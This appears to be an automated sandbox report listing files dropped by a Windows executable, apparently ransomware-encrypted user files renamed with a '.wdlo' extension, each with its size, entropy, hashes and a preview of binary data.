Encrypted:	false
SSDEEP:	6:scgCwyDahJT6NTFztlpH2qBCfywErOts4MKnhqF2PMfb9xh3PlmdOsVolWbz6Wcq:scxH+LeFHpvoawHWF2PMfRxtlS36WciD
MD5:	5D062359008259B1258FBED1D4DB192A
SHA1:	6E84E27ACDCCECBDEF3E00E02E430FB4319AE7B8
SHA-256:	839D1F9DD8A3FF797EAC20B2FC2F797E08AAAC9CDCE8667CDA43656D946EE82A
SHA-512:	97C194A949C58C5208CAB664798303F35C81D3B1907F5A26AEE859FE3B742C7EC910856FF262C19019EEBCA8D770EF18BBECA944A941F5D88B837435DF0FB744
Malicious:	false
Preview:	{."crul}.(....L....>9.n.......t$R@.\|m..a.W..zt.B;.%.bW;....'-.........y..$..}..@.^q.\|b#...dWq...(.7m...'...5...c.3.......l...;..0......Vp..K..t{.).5l.^...(^s..."2.G....0........W....1.yJ....H+U.xX....D.l..t.l.....4.......s...84...g..*j(#....D!..Q7..K.......)\|y...C".........LI^....J...@.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\.curlrc.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.202305376264842
Encrypted:	false
SSDEEP:	6:KWFrhABA4FTc/oRwPjXNAeJ0aYhQ3MAEy+OsVolWbz6Wcii96Z:NF1ABI/oRyvCaskm36Wcii9a
MD5:	163E67167019EB52EB573BA3A50D6A35
SHA1:	9171706A97467D4908B4CF6B0972C04605339BF2
SHA-256:	E7FED902EA5B09F78C5F04913AB30CFE0FB44B76FE5197DEE93BF504CA97F8A6
SHA-512:	33CFAA8D12A0CAB1A44922248519A7E2E87F7539ACAA9DC6DFE617A4BCCC04F02CA2CB0D326A9EE2B759D549BC35F84C8ACE528B9DD0EB48481AC10C12755DE7
Malicious:	false
Preview:	insec..r=.\|.?.....\|&p...'.;.?>.;k..j..Zw].hj....f..Xc.J...L..;(..eVr.S.9..i.X.../k.......b.f....Te]!vT....w$8......s.q!...#.B....h..@...y......-..tsB4...E...}.g5N...0.>..9*jL..n.z~tP]].96..W..8'..9.c....\|Pd.%.5..N.~..{.f... .O.....3.....t,X8\|y3.yG..U.$.\>Fi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.293600271456231
Encrypted:	false
SSDEEP:	6:W6k0M/qNmJ//kAHLFs2yraCszZxsg9OiwGZseAio3g93HbOsVolWbz6Wcii96Z:W3/E6/kAHLWraCsTsqOi9sxi+m3H936Q
MD5:	4B1CEB649455BDD0B371B2C2E00EA4C5
SHA1:	68B800D30BD19CEFC80E88BB6FD61159DCDBED5B
SHA-256:	ABD8720D7F50A4C104D2515F98A50CCC40FC40D9D08203C7381A63B99BF91310
SHA-512:	69CF111EE0D6D818AD556EBD88640F60AF35BD5BC2F50817851F076620B7A8722016B5DD0DA26BB0EE347B5958F941BD30450E9CA43C697B0F75CB6FE9047955
Malicious:	false
Preview:	%PDFTXb...v.e..^..b..t...fyc.HI+LZA.....X..I.c..k.D.d3....."[..{.QH.'.s6..h.B..Z`......o..nk....H..r.....c9v..3).6R@\..z+&x.]..o.D...J...ls.....i5....9...bh..Q..IJ....pLN.4...O.N.).cX..........5l,....N.2U..A.15..}..&....z:.jYH.M...b..m.....[M....W.o..}1[.B%..\....A....s.g..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.401048870837109
Encrypted:	false
SSDEEP:	12:5PZHKaK1UU1QjMMj8iuxPZRHz36Wcii9a:5Plu1QF8iuVvT3zbD
MD5:	150148EB700226BFCB7A065C84D54A30
SHA1:	EC60DA77EF1E1D62AF1D47723F49AD86B8737F69
SHA-256:	3504700160C95FC635B0595E5FB737BF8D23BBF6197F06B56E1B4405FFE6FFCA
SHA-512:	885C60DD71F76A953D6EDB201F531F92ED9838616D86236EC88EC73ED590955066A09CBADE3A435AF20FD04D63CF71D85CDAA2BF6A5A9A32B7C81FDA674C9013
Malicious:	false
Preview:	%PDFT.eD ...v.0...Sb..._'.-[rA.<B2o...C.2..{.@.o...`/G...e........Q.PV......C.._.!,.*. bB3.B...B....?.l.si....["..FkQ..D.....V.n.G.gNhAm:~"..K...]/.R]n..........W.F..Xw.....C..d.xE.(..nX+>.:.z........bN.......c.^.....2.X,....].Dz......m..h}W#o6V......$&.M....k_..m...i.R..tv)../X....^.nr".....>..@.Zi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.851024995317116
Encrypted:	false
SSDEEP:	24:iKcI3cDmm1BaI0g/0dg8s9nU3JfMWvEuaJoKzFUmsdIpcYCpxPaHMIjPhT3zbD:CHpfp/Ag8st4pIJTZEKpFOxSJzJ3nD
MD5:	767D5EB18E8CF1A3EB68CCB17A35F84F
SHA1:	54659C06F0F88F3C9F35E7FEEE4842A927C54930
SHA-256:	EA62E75A2FFDF4E54442BDCFF53CEFE55D46ED7E4C361D490A0C32EF08F31B1B
SHA-512:	EEC24F8ECF82736FCA734382E6ED6713BFAF6D644A1F83524CFB85871AE15E2F1D3BCCFE8F025E57DDC253712D8B015FE7A9AAF74C49F0C6D85AB46BBF91E0FE
Malicious:	false
Preview:	<?xml:.B.X5..]o........;....._./<1.'.....AC..]..W..H........V'o.m./...t...N...#...L.g.P. ..f..{....E.@...T._..^.......]..Z_n .......mG...q...c..KTe..@..V.me{E.Q`7.@A...d.....o...\_m..9.,Z&...(...Q.>Ki.....I`o/.S2..}%S...B..3..j..)......k.:....a.......8..k...d..0..........QP.P?.\.~!. ?p.....G"T.).V..iw.g.?".. .a..}!M...aH.).b.c.c,.wH.L:.d..Z...t/..Uz)./\..SK....[D9...g_+..Z..F+X.j.}............y.+].9fR.Hb..!....-.."...(...A4.J7i.,.tq6.`....>.w.+.....QC.F!.N.;A.`.....)..w.....qWN....3Y..W...`I....Bs.H....:M~.bq....:k.g.;.u......f...P.C........m....K{...ql...t...D.....Q5.Q..8#.0...d..w.}he..^.....@../+.e.9....Z(5.H.?........0O..n.gg.v&c-.Y.m.^M.qJ..nqJ2..s._..FF.T....A.I..c....._.F.>.\.O>....=.?nm.g..\|N.i..(..&x.....L.,[(F...c3k.I......d.9VW8..a....2.N.:*M.$..u}]O.Y..Woz....K...sIs....ac.D..7.\|.m....~...>4...L.T......tH..'.dY4.Y..wV.0.MA..c6E/..].p.....7P..O.M\ ..C.C@.i.4......../....Q...A7.Q.v.T.TX..F...u..hK.l.K..s........n...-0H...

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2430
Entropy (8bit):	7.922081258629958
Encrypted:	false
SSDEEP:	48:8hHSIjlA3P1E8afETqatHmppXa5ROZZwqfJCVX3q2NVemhpTpwOtvLabnN9XWdiT:3IjIPAYHmpQRgZwqBM3q2N0mhFGWTabn
MD5:	9E7D179D04D4976AC46019020698702E
SHA1:	33AC00CFD98037D7C56BCEC43C480996C64DE6BE
SHA-256:	2010FE94C8DD7F199C3552C92B618110697BD8F7E99489AC7F14FDF55FD16538
SHA-512:	5AB48075EE15948C73BAFA0158F5EBF419D46E2FC1E2A1D7FC9EE65680418A9BE43ED67B840FB66AA578380684AB23693AAC90AC3C65421EAE8A2D3BCB82E09C
Malicious:	false
Preview:	<?xmlg......z8.........K.P........}.C.K..}.%..A3.y^af...tqQ.....0....Z;.....V..5\|..M,.U&r7...../L.-......+.Y..[.g5zs.66..Ii......8..5..d._..Z".d..>m..4^X...#t.t90...d...4..8..2...[.2$}....Q.e.k .k.k.^.w.[!::.>.4....;+O<G5..9S)e8........+.{.{_.4..............."3.c.......LrG..w._3..\|.._.z..$..9.ZY......s....x.%..x].UM..=....i....M.oH..K9B..}.'...w...5.j.YK.c..Z..[!A...G.+..`._&d.3'"..h....K2..C.R...Fr....+..tvv..B.'.UO:..0........Z:s..l.7y.G......X...Z-...s..Z.dt.r.S.d..-l6P&...<..".^..(.=^tD.x.z....+...-....`DY..........W........lA....#......}1vk..8...i..:.......@..n..O.G...A.}g......`6.......?...J..JR9....d...@).V.Z.f.....N.J)s..p.r.BdG..@}cs.R{...d.. .o.HHJ.?(.H:.jD.0...9..?\...G..U......n".D.k.{.!.@]...<.p.a......J.1]m.S..-7.`....V"....W._....X6gO...CG{.r..@0o....k.<V.2aq....GVT.v..3.U..NO....[}.............D.$.S^h.F........N:.....=..v.e?x....F;.......1v...9.g.Z.;...DMiX...}..\...P..T.P.....)...y..~....e..2\h.4_H.O<.....q.:._:{....).

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.920377924362602
Encrypted:	false
SSDEEP:	48:Zi9ibUpMZ/TSmuVfmEqyQCeuHp/60iJ5yFFoes/btga/u2A0Y3nD:4JmbZEfmE9deAVWNbtv/7y
MD5:	E6DA7FB226A788E8BC2D0F7E360C81F7
SHA1:	37B30E94EEA05F5DF8B43C582F0D91E432BF138B
SHA-256:	53FF38E9EE7E059A5356611F2A832575715F9EDE563CAFB6B0899786E568B9B2
SHA-512:	30C593426C36F4873D00AD55FA156FFD79113C0C039521E29C8A4F3FBFC995AEE6106CD5F01C463CA274DD4BACBE2785F4BA7AB7650BD9D603D8A6A462C80DDA
Malicious:	false
Preview:	<?xmlf....pnr..u\$e0_.0...}..,H.h.6.!.;.Z<..L..r":v%......=...~.&V...5.x..<.\...a>.....@n.Z.s\.Z).P......K.....b.]u.B..h.....]GcM...e.W.2..$.SvgQ...l.0c....%.......I....b.n.1......we-.7H1..S.0a.FjL..E.)..s.wv<}.]......1aR0.......P^..Z.p3..Su.).C... C......q.....q..4oo....YqM.?!..GZ.k)J.rM0/Z......+.".e..r..;..X.....D.......#:.t..Ec.>X..+...^..:.m9..k.\|.W..(...H..:U.....~.;L....[.? .#.B~..b.^qp....<]H....9...l....../O....Y.M/.5qA+.o....d.e.E.....H..%GE\......m..^.u.'.%..v..+.bY)...$.............R'...).5.Now.'.1.K..I..E..q.P.......s...#3...Dm ./..{#.@YaD...:..7._..7z....G..9.Y.%'Y.....Z=(z)...6.M.....Rb0X..>~.*. ...'.s/F........?}...{..+u=.l\|..f.S.C._..../....Y...Vx....f.1j!t<..p./s@.N)....z......{X....s..).........R..S.\..t].(.m....XsC}.#.p.qb.......>..<.A..J..".t..?.k..`.oM..)..q/....4W.Xm....... ..=l....$..&.=.C..}.....J.xfy?..Y.......].E.3`..t%T.kpC...C.Ks..Y....x..F..O.......o.Y\.F^^.G..^.:.X_Y?..kqL.\|.<V..uc.......0.g.J.Qf.d"..'.u...

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2405
Entropy (8bit):	7.906935811020043
Encrypted:	false
SSDEEP:	48:edQ1qsr2dVPWdA+lo1zqH7xkXgfZZoIJmNSK9rdqOL0sgY3nD:AQEVudA0+A1kqoIJmNSodN0By
MD5:	ED21CBFCF418373DCDD898BA98C0AB79
SHA1:	DCC97AC305805DFBB86D5E6AE11258AC3AD0F275
SHA-256:	B61D7EFEEFEB23CFB7F09974150E84C5319E939656AF700157DC5338CCA038F0
SHA-512:	5B98F4878630093D95C4D009E33B459C7E8E0CB62D60F49A1D2DF6EF795FFE0B7E85A3FB5032786BDB378949AB8483C1407172A0C1BBFC6FD2D5FD55E2E0AAD6
Malicious:	false
Preview:	<?xml4?..<OB.v.4n..b.]do..LI5..lT..Xt..2.h..k.r.c..(.....1vJ....d.6\..7...lx=.(Ri....m..b.`.%..eZ....{..r.\|.z.../.-3q...Ra..C.1.Y.i...O.5x.^k.x..~Q..SLB...R..E.\...-...W......=........;.\.2...M.6..'8..w}..q.....h..N.(.I..U.;...o..4d..].H.v..T..[...$6.N...]9..e......CM.O...s.$..I.i.Y.5...op8.o(Oi..<...9z\|.6.9...m....r....i.X.W.%..PRh..1..._.v....p.I...Bp..G.d.......H0.k;.\|.....rq...k.O.......gU.K..........$.6...{{..P..'C.Y./.\x.A......a.=?<[......o.6V.N..4.2.WD....h.b.m`..p}.j..+e.Y4L.w..v..a..{..X.]q.3...!.....S.F.?.K .K.]...e..DD.%G...e.Z^...IW1...CF....EW.Z'\n..?.%.Q.....'OiT......F.7GFv8W.g....=...R.V.......`.+4.. n.${t...}#..k.&=3..^...j..].c./7.Q`[..c....>.hO....M....E['.\|.......Z..\H.<.R....S..%6..........P.D.\j......{.'u4.t....-.T..I.8.....[..D..\lB.~.B.q..........t....~.#1e...........[x.U..h..T...:r.Ze..R,...s%.C".\M......`....V.=...<H.O..KJc.....l.s....Lt..`<!x......X.........H..0...*...........\(zR.@..l...79....#.]....#..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.8425283768611385
Encrypted:	false
SSDEEP:	24:3HZ54zqwmI/HPZF23eNkpCnMyccLCwvu3CD++PBw+3NaJSRtcwKLzxhCTVMHp3zX:Xr4zqU/RwukpCnTccuGyviNaJSD9MHpT
MD5:	C643F6A12C49AE35990CC9CAAD482C96
SHA1:	815B1446EBA7B9E8F3F2DACEE27AF39D0490FEC3
SHA-256:	29EBAF8238CDE4460C5C3D5A8770D520719D1C190B8D2B5B387D6520C11F685C
SHA-512:	B244166D3CF6D52EC041ABE4EB31BEA90CBBB4DCA0B18A009239996F291D7ABC78D5C021C3F16932EB8C28C6BEB8F9B3358472EB1B535BC2EE17F28B0C5D6279
Malicious:	false
Preview:	<?xml..lf.M.2.}+.....H..".....AF....".^...n.......Z6u....#...+zXS}..Q.k..&....u.j...om.5B..p...F.....C..(........,{..4...h....m.........>.jY.d.RlCsd.....=.%...@...O.[.V.u......c..sy2z~.8...Y..t%..P..'\|:.B4.~...GL.\|<<.sie......I.R..hL.`.db.-..l.D.1c...;.....:=f......_^N.An.. .\|..'.C-%..o.y.YS.`...............#.9:.MH....p.M5.{^$T.......9...`...h.$...l.N..M..}X..i.u.z.......s..uU.P..}.z.....p...-{c.......m..#m.A...z.Z...../L..Fk_.;.S.>=....0.wk....ZA+U.n...........u'.m)......{..p.E].K.p......y9.......8.....b....OB..8...-T...R...e....N.n+b.(.].;..I..W..cA......{...NcA...2....c...8.Fj.7..p..r;...(.....a.\ vj..,.s......{.X0.v"#.Fu..p.\g..B........w.e......._m.........._.Y5....}...0]z.I..Z...2..x......V.s..'.....r.......M............8Q...M../.0.dS..D. ..>K....\|(.r,.6\|Vr.z6.Xu].t...E{.M.U.q..:..{e0.iC.S.10A>..L.....0.3fpO.g..j".N....!.T.g)..e....fc*IA....\|.!.(.........y....IU..4x@.H.....o..`...i..Z.}ME.+^9..3......_..x.(....O.$.vE.......w-PL.51

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2416
Entropy (8bit):	7.921516803547991
Encrypted:	false
SSDEEP:	48:Z1i+W+bbkS0U74W9T+//9vCWfNFIudqRJMHLcMYGFIQUO9eGYM3nD:Z1f7b8cT+X9aWfouIRZQXUO9eGN
MD5:	9E78F5F1B43557D13D9BEFC695197024
SHA1:	E2CB2D27D856371457E4685BEEB198841AA615EE
SHA-256:	A8ED4FFEE3CB3FCF10004A45CAC99D894527C9AA5317C4B2242E2546B0AEFBFA
SHA-512:	538D42D1B8ABA8E5C2E293F41AAB40534A14261BAEA222B388DDE652047A0B7CD9B1539DA193F5B7821F33C795BB33BBE78E54BDD8F0B751CADF5EC351B640D8
Malicious:	false
Preview:	<?xmlR..Y4t.'y8....@t...,.2.....e=~.t.+ ..6.......O'..0..R...F....Q@b.A.....s..Z`l<.b[.~.....0.~&..@M..RT$.!..........p...a[G.?..o#..h 6:.}:je...f.E..l...V..4.....c..ATW.,9.;....."m.4.#\m...h..^..N.....{...o...(KK{o..f.......r..y.M.=..$N.T.............vbd..J....T...B0 {........r`.-l>pP?CS.\|...""\|.~.^......0X.!..<G..bG...A.h..x.k..2...q.h..% .......K.wm"..?VK.v8$".u.$.q..s..Q...$.My..N.sr..u.0.l\.U..c.......{x?..)Q..7.K...uM.R.\.....!N.u8..$.K>B.=..eS./..Y......C.....o_;>@.O.w../.7.?...nX.=.........N.}...U+;O.............>5.i.^.........3}.?B...ap:.g.xe.0uq.OJ..e.!<A]......t...h......^..e..o.?...A.V....@......T....)J.?..Vw.....U...eu.".\|..:c.u....xh....:.}OB....Cw2...F...we..;....{x/.n..Y.E9..&.).-c[.._Kj....._B.....m.Y}........X......&?@).S...~...G.P5..!.].>..._....N....!.......7.~....!.`..y.f..0.c?...-..ZO.yI.NS..... ..B.......{Yf........^..N...,d.....c.....+4_..<..m..u.!..qW.Q....u.K....i..^...i.........iH@M.X....,./jB{..........a.4

C:\Users\user\Application Data\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1870
Entropy (8bit):	7.903469448177581
Encrypted:	false
SSDEEP:	48:Do+n3JyTOcMPKNxr5tkd75z5CJRd3jaiM6EZGKvfund3nD:sE5YO3KNWd7SdeiM6EXK
MD5:	E7162B121D93A8690E7FC614B70AAAA9
SHA1:	74E2F929ECF2CC584FAF61B1E6B0FE8D56DC6500
SHA-256:	8D334E72956EBDFF54A485461CE08EFB451910920C86A02BC1819B6A74FD510D
SHA-512:	55061AB72F0FC99CCBC0843298A9C4AE383CDC76CC7E45FD981B9A158DCDC13334BA9A2F31EBD857220E34896A44EF41FB232364F7D9F7F1A317ADD7FDA06548
Malicious:	false
Preview:	.....?..`......7.R..S.a.u.j.s.9sW...XQ..../.r...t....#y-.R_....7....=X.R..D...lJ.t<%<.n....L......].acL.. ..%.8.p7.....q.U....RZ9...s......,.....O....^.0[.......K...n.]...oj<...>.3......1c..j(....O.g#N..vZ...=.^..}4.."j.f..5fs3...A......oNS....[0.T..`.d.........w........L.`-........).bt.)Gx...E..P~&y^..y.'.?..i^Jb^...\|..!oz.H.T~G......l.]..I.S..C...<)_9.....Ms...t...b..QQh.W.4x..y....3PS.a.>(..r+V.b.N..b....[.'....fm..k.3...W[.dl..(...b...x..3.f..._..........wg...1w.M\|.....2.;.n.....[..X.[.Q'f[?u.....U..i.(..m{..../.?.zJ..G.k...OA.:....w......J.BRE......y.U...TZ..,.....Ky... ..i.?...\.V.....X...$..1.x....w.U.C..#TB.^.c.g.S..I..n.w.Lp.v.C.j.k.J..l;.5.l6....;t....pST4...w8..z.i.....U.Bb.....+3]....EOA...'q.lg.x\..mPN...L....<E...5..)=...)....H.a.f....)....;...@.\|Q..s..._g.j..=IA.ue..kC.\..L...ZU.i\|)...m..H.P.....<z.....k.`....jV.q..i.3.DL:...a&....O..o.(...{.t$..6.<.....[\:.Z.z._..'...F...&v6.....".>./..}.=.....n...#..........,..-

C:\Users\user\Application Data\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5966
Entropy (8bit):	7.973150860080102
Encrypted:	false
SSDEEP:	96:lo7z1j1Pncv+bOf9Fvatzif1QMM6wAcZKXqkdyaBaUvwiAjBhyqyl/iGtzQgragj:lo7ZBPcWbOfHvq+dtJwhkdy2vw1MXLEE
MD5:	59DE8FB9B5D2158100F3517C52D4C060
SHA1:	C18301FDC44A1237A423CE24445A5683E0046503
SHA-256:	810635DA66481F664DA8D1C98B8859DD568DE61E6C1A8CF9B42D36757595BB1B
SHA-512:	E81AED2B56DF7304450115F0E748E9F9D8341FC779F50C6D9DCE82897146CA0EC7CF3BECB0E8070AD3CF6C6ACD934DF3AFDCA81718702DB28C439B9F6108807A
Malicious:	false
Preview:	.....;{&..d..f:.......&..X.%...>.[-=..Q.r>.dB.J..T..%...2z}n.aC..j..c..N.: ......IAxk.0w.K..V.w\|..(......r0X...j.m...:...sH+..x.K...$V..N.E.4Sg,9.pW..@..h...0a..<..l....O.2}K../ ..ggjIki.....Nd..I..p.#...?X..].p....l..~....~.Y.R0.....S.\...uKD-.xt)..mw.~...m4...?s...j.).p...;S..`...+.m.?F.'......\.....`]F#.......w.......6...4...nQQ.!.....CzJ.].....<....-.0.q..9$A..!k...H3.............>..7!.{.Vk.Gm..h.......[k.Q...T.84..........W}.D........#....K.9.dl...$..:.x..........'vF.Q.P....+...2c .0.].,..S..[..f.)sb.....t.oi ..a......F.~.$.%..W...j/.5$.ad.D.Gz..q..f}._.I..L....{...]..h.@...F......pH)....'.u....TK./......M.F..........v.T...-VA...0#.q..CI...m[~@#..]$0_E.'.......!...%..gLw...8]X.".V.~..b............Z7...[..+&..^.sC{.&M<...8Kf.c.z n.W.....(/..#.ec...;..b.{.._M]W...ew?...?....K.>KI.c2..>.J.S.>....T.5...J..........`@.g..C.hL....05..d....8.Z^.....z..B`...J.....'.5.?....2.....p.s.[2..C#8..!......>.<y.....L#2+zY..d.D.H.?.E=1..?.&.d

C:\Users\user\Application Data\Microsoft\Windows\Recent\BJZFPPWAPT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854545397621876
Encrypted:	false
SSDEEP:	24:8D/JbEqmKYmcZB/yva/WILUFs4d4n5xf//qaZ9j6aYtiFP7bVGbF/Qa3zbD:GxbpP6pyvMWILZ46vf//hZ9jIihbwB/l
MD5:	F60F992FB28A64F29E6422CBAC5007F6
SHA1:	E4F976278A0EDFCA69075715D869945D9FDDFC27
SHA-256:	3FCAEBCB5B373442350806DF16A81B321754D5033832CDCE513E8D0B1F9FC2E3
SHA-512:	E81B4A0856F6F4BFED63A1F1E43593D571207C6A5E52C5EF0C69EC198A9B0724378A0D5BDA92F6853D3A7B7D8B6751558C97742402A06DF648B22D7A145921B4
Malicious:	false
Preview:	BJZFP!...p9.Q.Q...yDH..l.. Yu..,.[.7[E.y..1?...z.u\~r.!.{o4[\|4A>.M...^B.....:W#z...}.....w#G-y.L....].$N.....86..-o.6.pT5Fv..{.Ix...75..5.....z.n..g.# x.....n.Moe.1<9O..N...z....H.[C.#d...._. E......OG__.......EHS.Z.E....)......:...?.5....@%.K_&.....Z.`.1qP./..m.o._N~......s....S:..k...^Z=>....=(....I....l.d.Rq.$...w..1.!`..RR.....A../8..9..w9.r..g...PV_.;.......N..5E...yc....g.b^TV..}....h...Fx..[...5.pY6:k.N.....;..<'/....8N.k.\.A.Ci...!.,..y.G..w...7K...~....[.r#...n2.N.....x.:.b.')...l..u-...z..c...&...Z.E!...^.,..M.5R5&..;.....E..[....m]-.........\|R.3....~.&..i.4":.Y.^..i..]E.~..n.....e...q.=Y...\...o.?......A...=.]Y~<O3.]P.G=t..~)...).8.u.>...]..k.~Z;...z..._g.'.4.{.XT..kn9,~...D.U..y'...7.._F.........{.Yu.N.A......1....G.Hm..<j..W.M2...B1.M....`...q.Q.yt's....U.Ou>.M.}]/\.<.Fe.5qJ.dP$..3..#.R..).\|c<....(._....n<...:..33aP...g0B....I............DN.eA..c.%.<.#........CG.C.....j<..B....P.....>..>.}p.Zsw@,PG\|.&..../.......z

C:\Users\user\Application Data\Microsoft\Windows\Recent\BJZFPPWAPT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.813539734752659
Encrypted:	false
SSDEEP:	24:IIceasXI2kibYBxdZSxbaz1cK/HJCVH1TF3p+P1iWqJIHsVqnxH/bIFdG3zbD:IvFB0b6vZIWNCVH1TF3+FeIMg90q3nD
MD5:	ECC76EE8E766682B264266927C918576
SHA1:	D32AC76E2BD5C6E44AEA67A8CFC6DF47B342F9EF
SHA-256:	D4067F41B30FCDBDC1498C1EBDBB29961DD7F498867D8E4E4FF1AF9D2E7FA336
SHA-512:	EF99F3234074640049DBCE52FD3F9987875D0DC64DDB49414743A3CC0BCDD14CC8A828DA82FBCC28D44A275A9A70D40C7E2726A5B82B3EA6EE2510349C6850EA
Malicious:	false
Preview:	BJZFP#E.\...:<..e.\|.<....6..F.......5.I.G1>rd.'5....M.m(.#2.y...'.a..![EOE...L..{......'_T/EM.:rZ1.'..3 ...)Y..#..k99`..sb...f7....q<...#\|.L.S.......Q.ui..../.tX:P.k.@s...`.Y....?..w...{........K..$.yra.uz....!d.oI..j..y...gp............\...p....3=u. .E/t...P...'.c.&.G....Emq.r....y.Qlp...P ..P......G.o.+Y C...z<2..xa......UR..x.&.g..kb <....t...B7..~..mQ.#.D....,..h.......zq.(x...Q]f...[...l.:Y..\gfgn..f/..j....P..M..}..........>^n.&....(. ..@.d.wJ.'.G.j...dP..h.....$?...)..o....+O...:2.=.x....-~..e.:.^.....p......h.4..w[.\4...#.{...0..8.U....x\.....5soHtZ..(`1...i&.x..@..?.P...6.4!..?..j....6r.N.xI..1..i4.n.7,...\....+.+.8{...c...$.;....Sx.k....9........B.......0......(..]v.b!...YT..^~e5.0.. y..:..w][E...i T..BI....!.xY..P"....K...s.p+...t....*y.?.......Hl.\|.d@y.Y?...e5..8.1?1.u.Z6~...l......qU.r.....l.>..#[.'O.~?...j.\....TV._e...ST.l<.\.l..z..8d03a/z.>.J.Ii..!.;....C3&X).b2..I.G)s..:...#6.o...=.dT..3F..43d.J2A..

C:\Users\user\Application Data\Microsoft\Windows\Recent\BJZFPPWAPT.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838704258776569
Encrypted:	false
SSDEEP:	24:78B3wgGfX3Cak9YV82rF8nyLlNJy9br2uPKELfauZKpVRjtM/DZPt8W3zbD:5gGMYj+nC7g9nPCmaRprjUD38W3nD
MD5:	8614F20B9A487441B1141F87A9EFA20A
SHA1:	B52B8C149E534F8D0F1EA766926D16B666CA1522
SHA-256:	96F0F849A20323190408F76D28FEED6E40F37FC6C6A17AEBE695C5E75A045EA1
SHA-512:	7844BA8ECCD42FCC7044FF54E6ECD755C10D99E54567CEC0AFC2F07157B3665DB562F44F22FCF475E99D05EF3577D4CFFA5AA592460DF7A2D5D462F64AFCC322
Malicious:	false
